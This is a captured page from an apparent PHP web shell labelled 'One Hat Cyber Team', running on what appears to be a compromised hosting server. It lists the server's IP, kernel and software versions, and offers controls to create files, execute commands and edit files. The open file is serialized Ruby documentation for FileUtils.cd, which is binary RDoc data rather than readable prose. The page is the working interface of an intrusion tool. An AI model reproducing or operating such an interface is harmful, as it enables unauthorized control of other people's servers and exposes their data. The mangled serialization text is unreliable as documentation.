⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby33
/
share
/
ri
/
system
/
FileUtils
/
Edit File: cd-c.ri
U:RDoc::AnyMethod[iI"cd:ETI"FileUtils::cd;TT:privateo:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"=Changes the working directory to the given +dir+, which ;TI"Lshould be {interpretable as a path}[rdoc-ref:FileUtils@Path+Arguments]:;To:RDoc::Markup::BlankLine o; ; [I"With no block given, ;TI"Kchanges the current directory to the directory at +dir+; returns zero:;T@o:RDoc::Markup::Verbatim; [ I"*FileUtils.pwd # => "/rdoc/fileutils" ;TI"FileUtils.cd('..') ;TI" FileUtils.pwd # => "/rdoc" ;TI"FileUtils.cd('fileutils') ;T:@format0o; ; [I"HWith a block given, changes the current directory to the directory ;TI"4at +dir+, calls the block with argument +dir+, ;TI"Land restores the original current directory; returns the block's value:;T@o;; [I"NFileUtils.pwd # => "/rdoc/fileutils" ;TI"LFileUtils.cd('..') { |arg| [arg, FileUtils.pwd] } # => ["..", "/rdoc"] ;TI"NFileUtils.pwd # => "/rdoc/fileutils" ;T; 0o; ; [I"Keyword arguments:;T@o:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0; [o; ; [I";<tt>verbose: true</tt> - prints an equivalent command:;T@o;; [I"FileUtils.cd('..') ;TI"FileUtils.cd('fileutils') ;T; 0o; ; [I"Output:;T@o;; [I"cd .. ;TI"cd fileutils ;T; 0o; ; [I"Related: FileUtils.pwd.;T: @fileI"lib/fileutils.rb;T:0@omit_headings_from_table_of_contents_below00I"dir;T[[I" chdir;To;; [ ;@<;0I"(dir, verbose: nil);T@<FI"FileUtils;TcRDoc::NormalModule00
Simpan